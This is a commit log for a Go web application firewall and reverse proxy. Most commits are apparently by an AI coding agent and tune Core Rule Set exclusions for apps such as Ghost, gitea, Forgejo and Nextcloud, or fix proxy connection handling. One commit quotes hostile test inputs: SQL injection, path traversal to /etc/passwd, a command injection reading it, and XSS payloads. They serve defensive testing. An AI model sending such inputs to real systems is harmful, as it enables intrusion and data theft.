Compare commits

..
83 Commits
Author SHA1 Message Date
clawbot 33b780098a Core Rule Set: the package registries' searches of gitea and Forgejo pass (closes #354)
check / check (push) Successful in 4m29s
Recorded from gitea 1.27.3 and Forgejo 17.0.1 with each registry's own
client, and curl for the Chef cookbook list, NuGet's Packages() and the
counts at Search()/$count and Packages()/$count, with python3,
powershell, ls -la, .htaccess, file names and plain words. q on the
Cargo, Chef, Composer and Conan searches and NuGet's search service
joins 900603. 900605 lets /bin/sh through on Composer and Conan. New:
900609 for npm's text; 900611, in phase 2, lets one q shaped as a Conan
reference with no +, */ or --, such as zlib/*, skip 942100; 900612 for
NuGet's Search(), Packages() and their counts: searchTerm, $filter, and
the names $filter, $orderby and $top for 942290.

Model: opus-5-5
2026-11-12 13:34:35 +00:00
clawbot b84a33fb57 Core Rule Set: the API searches gitea and Forgejo share pass (closes #353)
check / check (push) Successful in 4m37s
Recorded with python3, powershell, ls -la, .htaccess, file names and plain
words from gitea 1.27.3 and Forgejo 17.0.1. q on the API's searches of
topics, of an organisation's teams and of emails joins 900603, which skips
930120, 932120, 932250 and 932260. The same four rules are skipped by
query on the search of unadopted repositories (900607) and by name on the
search of a repository's milestones (900608). 900605 also lets /bin/sh
through in q on the API's search of packages, since a package name can
hold a slash. The searches of repositories, users and issues already
passed.

Model: opus-5-5
Co-authored-by: clawbot <sneak+clawbot@sneak.cloud>
2026-11-12 12:28:33 +01:00
clawbot 4dad4fff43 Rename the settings whose names do not say what they control (closes #234)
check / check (push) Failing after 2m3s
Applies the setting renames of the naming audit under the SWW_WAF_ and
SWW_RPROXY_ prefixes, with sneak's names for the IP reputation cache
time and the two time limits, which now take milliseconds. The rproxy
log field default_disposition becomes waf_backend_no_answer, and
config.Config and config.FromEnvironment become config.WAF and
config.WAFFromEnvironment. Go fields, test names and prose follow. No
aliases; nothing reads the old names.

Model: opus-5-5
2026-11-12 11:13:27 +01:00
clawbot 94d60358ee Core Rule Set: Ghost's remaining fields pass with words that name commands (closes #359)
check / check (push) Failing after 4m5s
Ghost 6.76.0 was sent the fields not yet recorded with python3,
powershell, ls -la and .htaccess. Fixes in ghost.conf:

- eight rules that refused words naming commands and files, 932235 among
  them, for staff profiles, setup, invitations, tiers, offers,
  recommendations, integrations, webhooks, feature images, comments, the
  CSV import's labels, ActivityPub, and source and the utm_ fields;
- 932235 for the existing plain-text fields and code injection;
- filter skips six more rules, for title:~'powershell & python3';
- pathname skips 930120, 932120 and 932260;
- invitation addresses, email_segment, a tag's canonical_url, and
  ActivityPub's handles, actorUri and domain;
- a tag's code injection skips what a post's does.

Model: opus-5-5
2026-11-12 10:58:48 +01:00
clawbot 3304beca46 rproxy: read the rest of a Connection: close visitor's body after an early answer (closes #373)
check / check (push) Failing after 1m52s
Go's server reads up to 256 KiB of a body left unread once the handler
returns, but not a body with a declared length from a visitor that sent
Connection: close. It closes that connection with the rest unread, and
the visitor, still sending, gets a reset. rproxy now reads that rest
itself, until the deadline already set on the connection, through a
MaxBytesReader made with Go's own ResponseWriter. With more than 256 KiB
left, that has Go's server tell the visitor it sends no more and wait
500 ms before it closes. rproxy reads the rest only after an answer with
a Content-Length, because Go's server ends any other answer only once
the handler returns.

Model: opus-5-5
2026-11-12 10:43:29 +01:00
clawbot 101cc0aba5 Core Rule Set: a Ghost post's or page's canonical URL passes when it names a command or a file (closes #374)
check / check (push) Successful in 4m3s
While bodies are read, 932120 refused the canonical URL
`https://example.com/blog/powershell/` and 930120 refused
`https://example.com/blog/.htaccess/`. The new exclusions 900383 and 900384
switch both rules off for `posts.N.canonical_url` under
`/ghost/api/admin/posts/` and `pages.N.canonical_url` under
`/ghost/api/admin/pages/`, as `url` does, and only when the query has no field
of that name. The recorded requests gain the saves the Ghost 6.76.0 admin
sends when those addresses are set in a post's and a page's settings.

Model: opus-5-5
2026-11-12 09:13:25 +01:00
clawbot c4bf76c966 rproxy test: send the body over its limit without Connection: close (closes #371)
check / check (push) Failing after 3m57s
visit's client sends Connection: close, and Go's server then closes the
connection after the 413 without reading the rest of the body. The
visitor, still sending, could see the reset before the answer. The test
now sends the request on its own connection without that header, so Go's
server reads the rest before it closes.

Model: opus-5-5
2026-11-12 07:44:01 +01:00
clawbot aaa9719f02 Core Rule Set: Ghost posts and code injection take a script element (closes #358)
check / check (push) Failing after 4m14s
While bodies are read, 941110 refused a `<script>` element in an HTML card
that embeds a widget, and in code injection that loads analytics. The new
exclusion 900366 switches 941110 off on the Admin API for `lexical`,
`mobiledoc` and `html` of posts and pages, their `codeinjection_head` and
`codeinjection_foot`, and settings `value`. Snippets, a newsletter's footer
and every other field and path still refuse it; `javascript:` links stay
refused everywhere.

Model: opus-5-5
2026-11-12 06:13:59 +01:00
clawbot 0cb6dded98 Read every setting through viper and rename the settings (closes #211)
check / check (push) Failing after 1m55s
Every setting of waf and rproxy is read through viper, in place of the
os.LookupEnv function Main passed down. NewViper turns AutomaticEnv and
AllowEmptyEnv on, so a setting that is set but empty reads as set. A
setting may also be given as a file, the _FILE form, which rproxy's
settings now have too; rproxy still writes nothing to disk.

The settings are renamed: waf's take the prefix SWW_WAF_, rproxy's take
SWW_RPROXY_, and the shared SWW_COMMAND keeps SWW_. The Core Rule Set's
settings take SWW_WAF_CORE_RULE_SET_ rather than SWW_WAF_WAF_.

Model: deepseek-v4-pro (first version); opus-5-5 (rework)
2026-11-12 05:43:47 +01:00
clawbot de7ef16001 Core Rule Set: Ghost's ordinary requests pass by default (closes #357)
check / check (push) Failing after 1m59s
Ghost 6.76.0's ordinary traffic, recorded in `testdata/ghost-requests.txt`,
passes at the default settings and while bodies are read. It covers public
pages, members' sign-up and sign-in, the admin, the editor saving and
publishing posts and pages with code blocks and HTML cards, tags, settings,
staff invitations, uploads, newsletter settings, and both APIs. Ghost's
fixes, in the new `ghost.conf`, let through `filter`, the member `search`
and the embed `url` in the query, and plain text, addresses, articles, code
injection and passwords in JSON bodies. A `<script>` element and a
`javascript:` link stay refused in articles and code injection. `SWW_APPS`
names Ghost `ghost`. `README.md` lists Ghost; `SPEC.md` lists its fixes.

Model: opus-5-5
2026-11-12 04:58:37 +01:00
clawbot d9aaed636e Core Rule Set: gitea and Forgejo file and branch names in bodies pass (closes #346)
check / check (push) Successful in 4m7s
While SWW_WAF_BODY_LIMIT is set, these body fields skip only the rules
that refused them, on their own paths:

- tree_path, commit_summary and content on the web editor's pages:
  edit, new file, delete, upload, patch, cherry-pick and preview;
- fields that name a branch, for Windows commands and command names:
  new_branch_name, old_branch_name, old_ref_name, from, to, head, base,
  branch and new_branch; base also when a pull request is edited
  through the API;
- message of one file or several changed through the API, for system
  files and Windows commands.

None applies when the query has a parameter of the same name. The
requests were recorded from gitea 1.27.3 and Forgejo 17.0.1.

Model: opus-5-5
2026-11-12 04:13:54 +01:00
clawbot 75f30a34b2 Core Rule Set: a repository's name passes in the adopt form's id (closes #365)
check / check (push) Failing after 1m47s
While bodies are read, the forms that adopt or delete an unadopted
repository were refused when the repository's name held a command, a
system file's name or a shell path, such as alice/python3-app,
alice/.profile or robin/assets. id there now skips 930120, 932120, 932160
and 932260. The paths are gitea's /-/admin/repos/unadopted, Forgejo's
/admin/repos/unadopted, and /user/settings/repos/unadopted, which both
serve.

Model: opus-5-5
2026-11-12 03:43:51 +01:00
clawbot 4b62bc84ce SWW_APPS: an app's Core Rule Set fixes apply only to the hostnames that serve it (closes #220)
check / check (push) Failing after 2m3s
Each app's fixes are one .conf file and one entry in apps. They apply
only while Inspect has set the app's transaction variable, such as
tx.app_gitea. SWW_APPS names each hostname's apps. A hostname gets only
its apps' fixes; while SWW_APPS is unset, every hostname gets every
app's fixes. Listing forgejo, a fork of gitea, brings gitea's fixes too.

A hostname in SWW_APPS that is not a DNS name, such as *.example.com,
stops the start. Unset, SWW_APPS is logged at start as null; set
empty, as "".

Model: opus-5-5
2026-11-12 03:15:16 +01:00
clawbot 4ebe8be8c1 Core Rule Set: the searches of the pages gitea and Forgejo share pass (closes #352)
check / check (push) Failing after 15m54s
Recorded with python3, powershell, ls -la, .htaccess, file names and plain
words from gitea 1.27.3 and Forgejo 17.0.1. q on these searches now skips
930120, 932120, 932250 and 932260 (900603), on gitea's /-/admin/ and
Forgejo's /admin/ alike, and in the body of the admin forms that adopt a
repository or activate an email. The issue and pull request searches of a
team and of a milestone join 900600 and 900601, as a repository's do. A
repository's packages page and the admin packages page join 900602, which
also skips 944130. 900605, which lets /bin/sh through in q on branches and
owner packages, now also covers the tags page and those two pages, since tag
and package names can hold a slash.

Model: opus-5-5
Co-authored-by: clawbot <sneak+clawbot@sneak.cloud>
2026-11-12 03:00:15 +01:00
clawbot 0b23352767 Format Go with gofmt, then golines -m 77 (closes #215)
check / check (push) Failing after 3m31s
script/fmt now runs golines -m 77 after gofmt, repeating golines until
it changes nothing, since one pass can leave a line the next splits.
script/fmt-check fails when either would change a file.
script/bootstrap installs golines v0.13.0 with go install, pinned to
its commit, and checks the installed version with go version -m.

The tree is reformatted. The longer lines this makes are fixed by
hand: nolint directives moved onto their own line above the statement,
one string split, and 20 functions over funlen's 80 lines shortened or
split, RunWAF and limitPercentages among them.

Model: opus-5-5
2026-11-11 17:29:12 +01:00
clawbot 63e58e326b Settings code: one file per daemon (closes #227)
check / check (push) Successful in 3m23s
internal/config now keeps waf's settings in waf.go and rproxy's in
rproxy.go. config.go keeps what both read: the package doc,
SWW_COMMAND, the environment reader, listen addresses, sizes and
netblock lists. The app URL reader and the default trusted proxies,
which only rproxy uses, move to rproxy.go. config_test.go becomes
waf_test.go, beside rproxy_test.go. Code is moved, not changed.

Model: opus-5-5
2026-11-11 15:59:37 +01:00
clawbot f9bec5146b Core Rule Set: Forgejo's searches at a branch or tag, of releases and of job logs pass (closes #350)
check / check (push) Failing after 3m6s
`testdata/forgejo-requests.txt` records these Forgejo 17.0.1 searches with the hard values, file names and plain words, and the code search with code and a page opened from each search. `forgejo.conf` lets them through:

- the code search at a branch or tag, where the home page's search box sends its search without a code indexer: `q` skips what it skips on gitea's code search, and `Referer` what it skips after gitea's searches;
- the release search, page and API: `q` skips 930120, 932120, 932160, 932250 and 932260, since it matches tag names;
- the job log search in the API: the same, without 932160.

In `gitea.conf`, `q` on a repository's branches page and an owner's packages page also skips 932160, so `/bin/sh` passes there. `SPEC.md` lists both.

Model: opus-5-5
2026-11-11 15:44:31 +01:00
clawbot 883969a9cd Core Rule Set: ls -la passes in q on a gitea user's or organisation's page (closes #349)
check / check (push) Failing after 2m53s
On a path of one segment made of the characters a user's or an
organisation's name may hold, q now skips 932250 too, unless the path
ends in a server-side script's extension, such as .php or .cgi. The
searches on a user's and an organisation's page are recorded from gitea
1.27.3 and Forgejo 17.0.1.

Model: opus-5-5
2026-11-11 14:13:33 +01:00
clawbot b6aa2cbc4b Core Rule Set: Forgejo's ordinary requests pass by default (closes #342)
check / check (push) Canceled after 0s
Forgejo 17.0.1's ordinary traffic, recorded in `testdata/forgejo-requests.txt` (pages signed in and out, admin pages, the API with a token, git clone and push, the generic and container registries, uploads), passes at the default settings. What Forgejo sends and gitea does not: its flash cookie `flash` joins the cookies left out, and in the new `forgejo.conf` `q` on its wiki search skips five rules. In `gitea.conf`, the API's package search joins the name searches, and `q` there also skips 932250, except on user and organisation pages. `README.md` lists Forgejo; `SPEC.md` lists the changes.

- Still refused, each tracked: `ls -la` on user and organisation pages; file and branch names in bodies while bodies are read; Forgejo's searches at a branch or tag, of releases and of job logs; other search fields not yet recorded.

Model: opus-5-5
2026-11-11 12:12:50 +01:00
clawbot 697c2225d9 The image creates SWW_STATE_DIR when it is missing (closes #337)
check / check (push) Canceled after 0s
Before `waf` starts, the image's `run` script now makes `SWW_STATE_DIR` if it is missing (`mkdir -p`), gives it to `sww:sww` and sets its mode to `0700`, as it already does for the cache directory's owner. A value that is not an absolute path, or an unreadable `SWW_STATE_DIR_FILE`, still changes nothing, and `waf` stops naming the setting. The `Dockerfile` comment, `docs/image.md`, `docs/settings.md` and `SPEC.md` say the image makes the directory. `script/example-app` checks that a missing `SWW_STATE_DIR` is made, owned by `sww` with mode `0700`.

- `chmod 0700` also applies to an existing directory, a mounted volume included, at every start of `waf`.

Model: opus-5-5
2026-11-11 11:33:08 +01:00
clawbot b93bad5842 Answer-time tests check the answer, not wall-clock milliseconds (closes #316)
check / check (push) Canceled after 0s
Tests only. `TestWAFAnswersWithinTheTimeLimitWhileEveryOutsideSourceHangs` and `TestHangingRoutewatchNeverDelaysAndFailsTheQuery` run in a `synctest` bubble, whose clock load cannot move, instead of comparing wall-clock durations with fixed bounds. The first checks the answer comes after exactly `SWW_LOOKUP_TIMEOUT`, and that the DNS blocklist's query, held by a stand-in resolver, had not failed when it came. The second requires `no_answer_yet` after exactly zero time. The other wall-clock checks in the tests were already in bubbles or are bounds load cannot break.

- The held DNS query still times out on the real clock after two seconds; a stall that long between question and check fails the test.

Model: opus-5-5
2026-11-11 10:56:51 +01:00
clawbot 1748a670f9 sww tests: wait for every starting line as long as the start takes (closes #331)
check / check (push) Successful in 4m13s
Tests only, in `internal/sww`. Every wait for the `starting` line now uses `output.lineBeforeExit`, which waits until the line is written or sww exits, so a slow Core Rule Set compile on a loaded host no longer fails these tests. `TestMainRunsWAF` and `startRProxyProcess` start sww through `startProcess`, whose cleanup kills sww as the test ends and waits for it to exit; `startRProxyProcess` returns a stop function that sends SIGTERM and fails the test unless sww exits with status 0 within `waitLimit`.

Model: opus-5-5
2026-11-11 10:56:47 +01:00
clawbot 83525b5e73 Caches of outside APIs live in /var/cache/sww (closes #314)
check / check (push) Successful in 5m32s
Every cache of answers from an outside service has its own file in `SWW_CACHE_DIR` (default `/var/cache/sww`): `lookups.json` (GeoJS), `lists.json` (lists fetched by URL, CrowdSec's decisions included), `dnsbl.json`, `abuseipdb-scores.json` and `routewatch.json` (at most 100,000 answers, each kept an hour). `reputation.json` is gone; the AbuseIPDB checks spent today stay in `SWW_STATE_DIR` as `abuseipdb-checks-spent.json`, since losing them would spend the daily budget twice.

A cache file never stops the start: one that does not parse is set aside as `<name>.bad` with a `file_error` alert. An unwritable `SWW_CACHE_DIR` stops the start. The `run` script creates the cache directory and gives it to `sww`. The cache directory needs no volume and can be left out of backups.

Model: opus-5-5
2026-11-11 10:56:43 +01:00
sneak 6a59011dee rproxy: cut off an answer that stalls after arriving before the whole request (closes #345)
check / check (push) Failing after 15m4s
When the app's answer arrived before the app had been sent the whole
request, SWRP_MAX_RESPONSE_TIME_MS had no timer: only the end of the
request started one. If the app then stalled, only a write could fail at
the deadline. With nothing written, the connection stayed open until the
request time limit.

modifyResponse now starts the response timer when it ends the request.
Once the timer cuts off the app's answer, nothing is left to flush, so the
last flush in finish succeeded and Go's server read the rest of the body.
finish now also ends that reading at once after a refusal of an answer
already passed on.

Model: opus-5-5
2026-11-11 08:45:51 +00:00
sneak e3c5b4ecf8 rproxy tests: a cut-off answer closes the connection, also after its first part reached the visitor
check / check (push) Failing after 1m20s
The app now sends its late parts only once rproxy has ended the request to
it, not after a sleep timed against the limit. With the body in one part it
stalls after its headers; with two parts, after the first part, which
reaches the visitor. Both cases fail on the current code: nothing cuts the
answer off, and the connection stays open. The 2-second limit lets rproxy
pass on a part sent at once, even on a busy host.

A new test, which passes on the current code, has every flush fail with no
refusal, so that only the failed-flush check in finish ends the reading of
the visitor's body.

Model: opus-5-5
2026-11-11 08:45:51 +00:00
clawbot 6e370b346b rproxy: remove forwarded headers spelt with underscores from an untrusted peer (closes #334)
check / check (push) Failing after 1m46s
For a peer outside `SWRP_TRUSTED_PROXIES`, `rproxy` now reads each header name with `_` as `-` and in any letter case, and removes the header when that name starts with `X-Forwarded-` or is `Forwarded` or `X-Real-IP`. Before, `X_Forwarded_Ssl: on` or `X_Real_IP` from a client connecting directly reached the app unchanged, and an app behind CGI or FastCGI reads them as the dash-spelt headers. A trusted peer's headers pass on as before. `SPEC.md` says so.

Model: opus-5-5
2026-11-11 08:29:59 +01:00
sneak eba697af48 rproxy: close the connection when a short answer is cut off (closes #318)
check / check (push) Failing after 3m39s
When SWRP_MAX_RESPONSE_TIME_MS ran out before the last of a short answer
was written, the flush failed. If the visitor had stopped short of its
announced body, Go's server then read the rest until
SWRP_MAX_REQUEST_TIME_MS ran out, keeping the connection open with the
answer cut off.

finish now flushes once more, and if that fails at its deadline, it ends
the reading of the body at once. ReverseProxy ignores the failed flush when
the app's answer came in one read, and panics when it was still waiting for
more; finish runs after both. Go's server never reuses a connection after a
failed write, so it closes it.

Model: opus-5-5
2026-11-11 07:54:10 +01:00
sneak b9cfbc7fcb rproxy tests: a cut-off answer must close the connection, and the stop-short tests no longer race the clock
A new test fails on the current code. The visitor stops a little short of
its announced body, and the response time limit runs out before rproxy can
write the app's short body. The connection then stays open until the
request time limit instead of closing. The app sends that body in one part,
and in two; with two, ReverseProxy panics instead of returning.

The test that failed under load used a 300 ms response time limit, which a
busy host can use up between the app's headers and its body. It and the
test that answers a visitor that stops sending now use limits far longer
than the test's 10-second read deadline.

Model: opus-5-5
2026-11-11 07:54:10 +01:00
clawbot f077dd7fd0 Say that rproxy passes a refused question's 400 to the visitor (closes #326)
check / check (push) Successful in 4m25s
The comment above `readQuestion` in `internal/waf/waf.go` said `rproxy` treats a refused question (`400`, no disposition) as no answer. It passes the `400` to the visitor, and `SWRP_DEFAULT_DISPOSITION` does not apply, as `SPEC.md` and `internal/rproxy/waf.go` say. Comment only.

Model: opus-5-5
2026-11-11 07:50:59 +01:00
clawbot 81ec6f9bf5 Request log: write & < > as sent (closes #327)
check / check (push) Failing after 3m30s
Request lines of `waf` and `rproxy` now hold `&`, `<` and `>` as sent, where `json.Marshal` wrote `\u0026`, `\u003c` and `\u003e`, and are still valid JSON. `writeJSONLine` encodes with a `json.Encoder` that has HTML escaping off, and still writes each line in one write. This follows the `AGENTS.md` rule that the request log records query strings exactly as received, and lets `grep` find a logged query string.

Alert webhooks and the report `rproxy` posts to `waf` are unchanged: neither is a request line, and both are read only by a JSON parser.

Model: opus-5-5
2026-11-11 07:50:54 +01:00
clawbot 7b52574e5b rproxy: remove every X-Forwarded- header from an untrusted peer (closes #325)
check / check (push) Failing after 3m22s
For a peer outside `SWRP_TRUSTED_PROXIES`, `rproxy` now removes every header whose name starts with `X-Forwarded-`, in any letter case, before it sets `X-Forwarded-For`, `X-Forwarded-Host` and `X-Forwarded-Proto`; `Forwarded` and `X-Real-IP` are removed as before. Until now only traefik's names were removed, so a client connecting directly could send `X-Forwarded-Ssl: on` or `X-Forwarded-Scheme: https` and make an app take a plain request for a secure one. A trusted peer's headers pass on unchanged. `SPEC.md` says so.

Model: opus-5-5
2026-11-11 07:50:50 +01:00
clawbot f76308add3 rproxy tests: give the 1 MiB answer a 60 s time limit (closes #335)
check / check (push) Successful in 3m22s
Test only. `TestAnAnswerOf1MiBGoesToTheVisitor` read an answer of 1 MiB from `waf` within the default `SWRP_TIMEOUT_MS` of 2 s. On a busy host that time ran out first, `rproxy` applied `SWRP_DEFAULT_DISPOSITION` as it should, and the test failed. It now sets `SWRP_TIMEOUT_MS` to `60000`, as the file's other tests do where that limit is not what they test.

Model: opus-5-5
2026-11-11 07:31:27 +01:00
clawbot 937d956d3a waf: the header limits are the first check (closes #311)
check / check (push) Failing after 2m8s
The header limits (more than 50 cookies or 100 header fields, answered `431`) move from just before the Core Rule Set to the first check after `SWW_ALLOW_NETS`. A request over them causes no lookup, no query to RouteWatch, a DNS blocklist or AbuseIPDB, no rule file match and no Core Rule Set. Requests within the limits go through the same checks in the same order.

For a request over the limits: the rate limits no longer count it; a banned client or one in `SWW_DENY_NETS` gets `431` instead of its refusal; it makes no ban, makes no ban permanent and is not counted in a ban's notes; in `observe` mode it is answered `allow` with no lookup. `SPEC.md` and `README.md` say so.

Model: opus-5-5
2026-11-11 07:13:35 +01:00
clawbot b89c53c640 sww tests: wait for the starting line as long as the start takes (closes #324)
check / check (push) Successful in 3m40s
Tests only, in `internal/sww/sww_test.go`. A start compiles the Core Rule Set, so on a loaded host it can take longer than `waitLimit` (10 s) to write `starting`. The new `output.lineBeforeExit` waits until the line is written or sww exits, bounded only by the test binary's `-timeout`. It replaces the waits that span a start, in `runUntilStopped`, `TestServesUntilToldToStop` and `TestLogLevelHoldsBackTheLessSevereProcessLines`. The other waits on `waitLimit` in the file come after the start or after sww has exited.

Model: opus-5-5
2026-11-11 06:31:01 +01:00
clawbot 803a9e9dd8 rproxy tests: give the over-1 MiB answers a 60 s time limit (closes #323)
check / check (push) Successful in 3m54s
Test only. The over-1 MiB cases of `TestAnAnswerThatCannotBePassedOnIsAnswered502`, and `TestAnAnswerThatCannotBePassedOnGetsNoReport`, which sends the same answer, left `SWRP_TIMEOUT_MS` at 2 s. On a loaded host `rproxy` applied `SWRP_DEFAULT_DISPOSITION` before it had read the whole answer, and the tests, which want `502`, failed. They now set `SWRP_TIMEOUT_MS` to `60000`, as the file's other tests do where that limit is not what they test.

Model: opus-5-5
2026-11-11 06:30:55 +01:00
clawbot 9bcbe5a3c8 Every time in UTC, and every day as YYYY-MM-DD (closes #313)
check / check (push) Successful in 5m44s
Every time the program stores, logs or compares is in UTC, whatever TZ says, and AbuseIPDB's day in `reputation.json` is a `YYYY-MM-DD` date. Times read from a state file are converted to UTC as they are read, so a file is written back with `Z` times only. A test runs `sww waf` with `TZ=Pacific/Kiritimati` and checks the process line, the request line and `clients.json`. `SPEC.md` states the rule and `AGENTS.md` makes it an iron rule.

- The rate limit's `day` and `day_bytes` buckets keep a start time: each is a 24-hour bucket begun at an instant, not a calendar day.
- New dependency `cloud.google.com/go`, of which only `civil` is built.
- No migration: a `reputation.json` holding the old day form fails to load, naming the file.

Model: opus-5-5
2026-11-11 06:00:53 +01:00
clawbot f7e3190654 Rename discriminator to waf everywhere (closes #312)
check / check (push) Successful in 5m58s
The command is now `sww waf`, and the package is `internal/waf`. Types,
functions, files, tests, comments, docs, the Dockerfile, the runit
script, `script/`, compose examples, the log field `waf_line` and the
`X-From-Waf` test header follow. No behaviour changes, and no setting
changes name: rproxy already finds the waf through `SWRP_WAF_BACKEND`.

Done with one `sed -i` (Discriminator and DISCRIMINATOR to WAF,
discriminator to waf) over the files `git grep -i discriminator`
listed, as sneak allowed for this rename, then `git mv` for the
package and files. By hand afterwards: the header's spelling, which
the linter requires, and the padding after `waf` in `sww`'s usage
text.

Model: opus-5-5
2026-11-11 02:43:16 +01:00
clawbot ad36dd1775 Discriminator tests: stop timing the sixteen-thousand-cookie requests (closes #308)
check / check (push) Successful in 3m55s
The two tests that send sixteen thousand cookies checked the answer time
on the wall clock, which a busy host can push past the bound. They no
longer check how long the answer took. The first is renamed to say what
it checks: a 431 before the Core Rule Set reads the request.

TestARefusedRequestDoesNotWaitForASlowGeoJS still checks that a refusal
over the header limits waits on nothing.

Model: opus-5-5
2026-11-11 01:09:22 +01:00
clawbot cb6b73a0be Core Rule Set: MediaWiki's password fields pass on a wiki in any language (closes #299)
check / check (push) Successful in 3m44s
A wiki in another language posts its sign-up, password change and
new-password forms to its own names for the special pages, such as
Spezial:Benutzerkonto_anlegen. So password and retype no longer match on
the English page name. They skip the rules when authAction names the
form that sends them: change, create or login-continue. MediaWiki sends
the same value in every language. The page must still be MediaWiki's,
with a namespace in its title, so another app's paths under /index.php/
keep every rule. The two rules move to phase 2 to read the body.

Adds requests recorded from a German MediaWiki 1.46.2.

Model: opus-5-5
2026-11-11 00:58:00 +01:00
clawbot 83f50dd11f Core Rule Set tests: only the concurrency test runs with the race detector (closes #306)
check / check (push) Successful in 3m36s
Of internal/coreruleset's tests, the race pass runs only those written to
check concurrent inspection, selected by the name prefix TestConcurrent.
Every other test of the package moves to the pass that runs the recorded
requests, without the race detector. Other packages run under -race as
before. The 90-second limit stays.

Model: opus-5-5
2026-11-11 00:43:18 +01:00
clawbot e2b27d1c7c rproxy: send its own answers at once to a visitor that stops sending its body (closes #303)
check / check (push) Successful in 6m26s
An answer rproxy gives itself, such as a deny or a refusal, waited while
Go's server read up to 256 KiB of a body that had not arrived whole. A
visitor that stopped sending got nothing until SWRP_MAX_REQUEST_TIME_MS
ran out, and no bytes at all once that was past the 10 seconds the
answer has to be sent.

send now sets Connection: close in that case, as modifyResponse does for
the app's answer; both call closeAfterAnswer. requestTimedOut no longer
ends that read of Go's server, which no longer happens, so the time the
app's answer started is no longer noted.

Model: opus-5-5
2026-11-10 23:57:52 +01:00
clawbot f64752e3b7 rproxy: answer a visitor that stops sending its body after the app has answered (closes #298)
check / check (push) Failing after 3m40s
When the app answered before the visitor's body had arrived whole, Go's
server read up to 256 KiB of the rest before it sent the answer. A
visitor that stopped sending got nothing until SWRP_MAX_REQUEST_TIME_MS
ran out, and no bytes at all once that was past the 10 seconds the
status has to be sent.

Such an answer now carries Connection: close, which Go sends at once.
finish first ends the transport's read of the body: once the handler
returns, Go's server reads the rest with no deadline while another read
of it waits. requestBody.Close does nothing, so that ReverseProxy's
close does not wait on the visitor.

Model: opus-5-5
2026-11-10 22:43:13 +01:00
clawbot abb8a26a48 Core Rule Set: random passwords pass on the multisite network profile page (closes #300)
check / check (push) Failing after 6m7s
/wp-admin/network/profile.php posts pass1 and pass2 to itself. The
exclusion that lets them skip the random-password rules on WordPress's
other profile pages now names it too.

Model: opus-5-5
2026-11-10 20:43:17 +01:00
clawbot aeaa9d1c77 rproxy: leave no visitor without an answer as the response time runs out (closes #295)
check / check (push) Failing after 4m37s
A visitor could get a closed connection and no answer when
SWRP_MAX_RESPONSE_TIME_MS ran out about when the answer started: the
write deadline passed before the first byte was written.

- An answer rproxy gives itself has at least 10 seconds to be sent.
- An app's answer that arrives once the time has run out is answered
  504.
- Otherwise the app's status and headers are sent at once, before the
  body is read, with at least 10 seconds. The exact limit applies to
  the rest.

Model: opus-5-5
2026-11-10 20:09:19 +01:00
clawbot db0912b335 Core Rule Set: random passwords pass on the remaining password fields (closes #288)
check / check (push) Failing after 2m44s
Each app's sign-in, sign-up, password change and reset fields that had no
exclusion now skip the 35 rules random passwords set off, on that app's
paths and only when the query has no field of that name. Added gitea,
Vaultwarden's admin token, WordPress pass1/pass2/post_password and its REST
password, Drupal's forms and JSON, MediaWiki retype and password on the
pages that take them, Mastodon's challenge, and Nextcloud's confirm, reset,
change, share, LDAP renewal, encryption and OCS fields. Vaultwarden's
clients send a hash, which needs no exclusion.

Model: opus-5-5
2026-11-10 19:57:58 +01:00
clawbot 8ab4280792 Test phase: run the two test passes at the same time (closes #292)
check / check (push) Successful in 4m40s
The race pass and the recorded-request pass are now separate stages, which
BuildKit runs at once. The test stage is built from scratch, so writing its
image takes no time.

Model: opus-5-5
2026-11-10 17:43:10 +01:00
clawbot 3268ec95c1 Core Rule Set: random passwords pass at sign-in (closes #276)
check / check (push) Successful in 4m37s
A password manager's random password set off 35 Core Rule Set rules,
about 1 in 40 refused. The password fields the app exclusions name now
skip those rules on their paths: WordPress pwd, Drupal pass, MediaWiki
wpPassword, lgpassword and password, Mastodon's sign-in, sign-up,
password change, move and delete passwords, and Nextcloud's sign-in
password. The tests draw 2,000 random passwords from a fixed seed, plus
one rare password for each rule the 2,000 do not set off. Those that set
off a rule in a field no exclusion names are sent to every password
field. `' OR '1'='1`, `../../etc/passwd`, `; cat /etc/passwd` and
`<img src=x onerror=x()>` sent as a password now pass;
`<script>alert(1)</script>` and `javascript:alert(1)` are still refused.

Model: opus-5-5
2026-11-10 15:57:59 +01:00
clawbot fb25f5ebd2 Core Rule Set tests: check WordPress's recorded requests as the other apps' (closes #284)
check / check (push) Successful in 5m4s
TestOrdinaryWordPressRequestsPass skipped the inspection that reads
bodies for a request with no body, including one with a Content-Type.
It now calls wantRecordedRequestsPass.

Model: opus-5-5
2026-11-10 15:57:53 +01:00
clawbot f8d769fc17 Core Rule Set tests: check the recorded requests without the race detector (closes #290)
check / check (push) Failing after 4m37s
The tests that check the apps' recorded requests move to
internal/coreruleset/recorded_test.go, behind the recorded build tag. The
test phase runs only those tests in a second go test, without -race. The
lint phase reads the same file, with the same tag.

The Gitea and WordPress tests are split in two. Their recorded-request loops
become TestOrdinaryGiteaRequestsPass and TestOrdinaryWordPressRequestsPass;
their attack checks stay in the race pass as TestGiteaAttacksAreRefused and
TestWordPressAttacksAreRefused.

Model: opus-5-5
2026-11-10 15:26:11 +01:00
clawbot 2ac7f1ccbf Core Rule Set: Nextcloud's calendar and contacts sync pass (closes #280)
check / check (push) Failing after 4m1s
rproxy passes MKCALENDAR on. nextcloud.conf allows it on
/remote.php/dav/calendars/ and PROPFIND on /.well-known/caldav and
carddav. The XML of an MKCOL there skips 930120, 932120, 932250 and
932260. That of an MKCALENDAR, and of an MKCOL on the address books'
paths, also skips 932125 and 932230, for the description. A PUT of
text/calendar or text/vcard there skips 920530: the Calendar and
Contacts apps name the charset twice when they change an event or a
contact.

Recorded from Nextcloud 35.0.2 with Calendar 6.6.5, Contacts 8.9.5 and
requests imitating DAVx5.

Model: opus-5-5
2026-11-10 11:57:58 +01:00
clawbot 463a19ef2a Core Rule Set: Nextcloud's ordinary requests pass by default (closes #240)
check / check (push) Successful in 5m6s
Adds nextcloud.conf, the fourteenth change. Nextcloud's WebDAV paths allow
PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, REPORT, SEARCH, LOCK and UNLOCK, and
the body of a PUT there, an uploaded file, is not read. The cookie
nc_username, and the fields that carry a search, a name, a file name or a
folder, skip the four rules that read them as commands or system files.
Comments, a share's note, a status and a document's text also skip the rules
that refused ordinary sentences, and the document the two that refused a
shell code block. Requests recorded from Nextcloud 35.0.2, its web pages, sync
client 3.16.7 and the OCS API pass at the defaults and while bodies are read.

Model: opus-5-5
2026-11-10 09:43:18 +01:00
clawbot c557b175ad Core Rule Set tests: inspect requests with no body and no Content-Type once (closes #281)
